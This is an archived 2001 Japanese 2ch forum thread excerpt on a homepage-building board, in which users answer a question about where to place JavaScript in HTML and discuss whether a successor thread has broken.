http://mentai.2ch.net/test/read.cgi?bbs=hp&key=985424635


903 名前:Name_Not_Found 投稿日:2001/03/24(土) 18:11
>>899
ありがとうございました!!
助かりました〜。

904 名前:[ここ壊れています]<DD> 投稿日:2001/03/25(日) 03:09
[ここ壊れています]<DD>

905 名前:Name_Not_Found 投稿日:2001/03/26(月) 00:32
QQQQQ
Javascriptってhead内にごちゃって書いて、それをBody内から呼び出したりするじゃないですか?
あれって特にhead内に各必要ってあるんでしょうか?

あるとしたらどういう場合にhead内に書かないとまずいんでしょうか?

どなたかよろしくおねがいたします。

906 名前:( ´Д`) 投稿日:2001/03/26(月) 00:54
>>905
新スレに移行しているので、質問はそちらでお願いします。
http://mentai.2ch.net/test/read.cgi?bbs=hp&key=985424635

907 名前:Name_Not_Found 投稿日:2001/03/26(月) 00:55
実際に関数を使う部分より前なら、どこに書いてもいい。
head内に書いてあれば、実際に使う部分の方が確実に後になるから、head内に書いておくことを勧める。


908 名前:Name_Not_Found 投稿日:2001/04/07(土) 15:51
http://mentai.2ch.net/test/read.cgi?bbs=hp&key=985424635

質問用スレッド Vol.2は現在、3時51分に確認したところ、何故か削除か壊れたかしたようです。
新しいスレ、誰かよろしく。

909 名前:Name_Not_Found 投稿日:2001/04/07(土) 16:07
>>908
vol2 ちゃんと表示されるよ?

910 名前:Name_Not_Found 投稿日:2001/04/07(土) 16:28
>>909
2ch専用のブラウザ(かちゅ〜しゃ)とかで見てませんか?
IEやNNなどのブラウザで確認すると壊れてるのがわかりますよ。

911 名前:910 投稿日:2001/04/07(土) 16:31
って・・・今みたらちゃんと見える(w
ごめんなさい。

912 名前:Name_Not_Found 投稿日:2001/04/09(月) 19:10
テスト
>>900-910


戻る

偽Dat2HTML LO v1.0b13 Converted.
ナスカ無料ホームページ無料オンラインストレージ